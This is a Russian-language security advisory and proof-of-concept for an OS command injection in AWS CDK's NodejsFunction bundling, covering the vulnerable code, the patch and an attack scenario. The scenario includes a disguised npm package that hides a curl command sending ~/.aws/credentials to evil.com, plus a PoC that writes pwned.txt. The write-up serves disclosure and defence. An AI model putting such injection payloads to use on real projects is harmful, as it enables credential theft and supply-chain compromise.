Технический разбор и Proof of Concept (PoC) для CVE-2026-11417: внедрение команд ОС / удалённое выполнение кода (RCE) в NodejsFunction из AWS CDK.
Автор: Hesham Ashraf (@HeshamASH)
Дата: 10 июня 2026
Серьёзность: высокая (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Некорректная нейтрализация специальных элементов, используемых в OS-команде (инъекция OS-команд)
Затронутый пакет: aws-cdk-lib (npm), все версии до 2.245.0
Вендор: Amazon Web Services (AWS)
Статус: исправлено (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Бюллетень: AWS-2026-041 | Консультация: GHSA-999r-qq7v-r334
Я обнаружил уязвимость инъекции команд в AWS Cloud Development Kit (CDK), которая позволяла атакующему добиться удалённого выполнения кода (RCE) на любой машине, где выполняется cdk synth — включая рабочие станции разработчиков и CI/CD-конвейеры — путём публикации вредоносного npm-пакета или отправки специально созданного Pull Request.
Уязвимость существовала из-за того, что конструкция NodejsFunction из aws-cdk-lib напрямую интерполировала управляемые пользователем строки в команду оболочки без санитизации, а затем выполняла её через bash -c / cmd /c. AWS исправила проблему, заменив выполнение через оболочку прямыми массивами аргументов для spawnSync.
AWS Cloud Development Kit (CDK) — широко используемый open-source фреймворк для описания облачной инфраструктуры в виде кода. Его используют десятки тысяч разработчиков и CI/CD-конвейеров для синтеза и развёртывания стеков AWS CloudFormation.
Конструкция NodejsFunction — одна из самых популярных L2-конструкций CDK. Она упаковывает TypeScript/JavaScript Lambda-функции с помощью esbuild на этапе синтеза (cdk synth).
Локальный путь бандлинга конструкции NodejsFunction формировал строку команды оболочки, напрямую интерполируя несколько управляемых пользователем свойств без какой-либо санитизации:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
Затем массив объединялся в единую строку и передавался оболочке:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Метасимволы оболочки, такие как &, ;, |, ` и $(...), внутри любого из внедряемых свойств интерпретировались оболочкой как разделители команд, что позволяло выполнять произвольные команды.
| Свойство | Санитизация | Уровень риска |
|---|---|---|
externalModules | Нет | Критический |
define (ключи) | Нет (значения используют JSON.stringify) | Критический |
loader (ключи) | Нет | Критический |
inject | Нет | Критический |
esbuildArgs (ключи/значения) | Нет | Критический |
Эта уязвимость особенно опасна, потому что инъекция происходит на уровне синтеза CDK, а не во время npm install. Это означает, что стандартные меры безопасности npm, такие как --ignore-scripts, не обеспечивают защиты.
Атакующий публикует на npm пакет, который выглядит легитимным и оборачивает NodejsFunction:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Когда разработчик устанавливает этот пакет и запускает cdk synth, CDK формирует:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Символ & разделяет команду на две независимые shell-команды:
npx esbuild --bundle handler.ts --external:lodash — esbuild выполняется в обычном режимеcurl https://evil.com/... — полезная нагрузка атакующего похищает учётные данные AWS| Защита | Эффективна? | Почему |
|---|---|---|
npm install --ignore-scripts | Нет | Инъекция происходит во время cdk synth, а не при установке пакета |
Ревью кода package.json | Нет | Полезная нагрузка находится в TypeScript-коде конструкции, а не в скриптах |
| npm audit | Нет | Пакет не содержит известных уязвимостей |
| Целостность lock-файла | Нет | Сам пакет установлен корректно |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts с полезной нагрузкой для инъекцииimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Файл pwned.txt создаётся, что подтверждает выполнение произвольных команд на хосте.
spawnSync на основе массивовОсновное исправление заменяет формирование строки shell-команды прямым вызовом spawnSync с использованием массивов аргументов:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
Это полностью исключает интерпретацию метасимволов оболочки. Новая система типов BundlingStep чётко разделяет:
spawn-шаги: esbuild/tsc/install — выполняются через прямой spawnSync с массивами аргументовshell-шаги: предоставляемые пользователем commandHooks — намеренно выполняются в оболочке (пользователь управляет ими по контракту)fs-шаги: файловые операции — без участия оболочки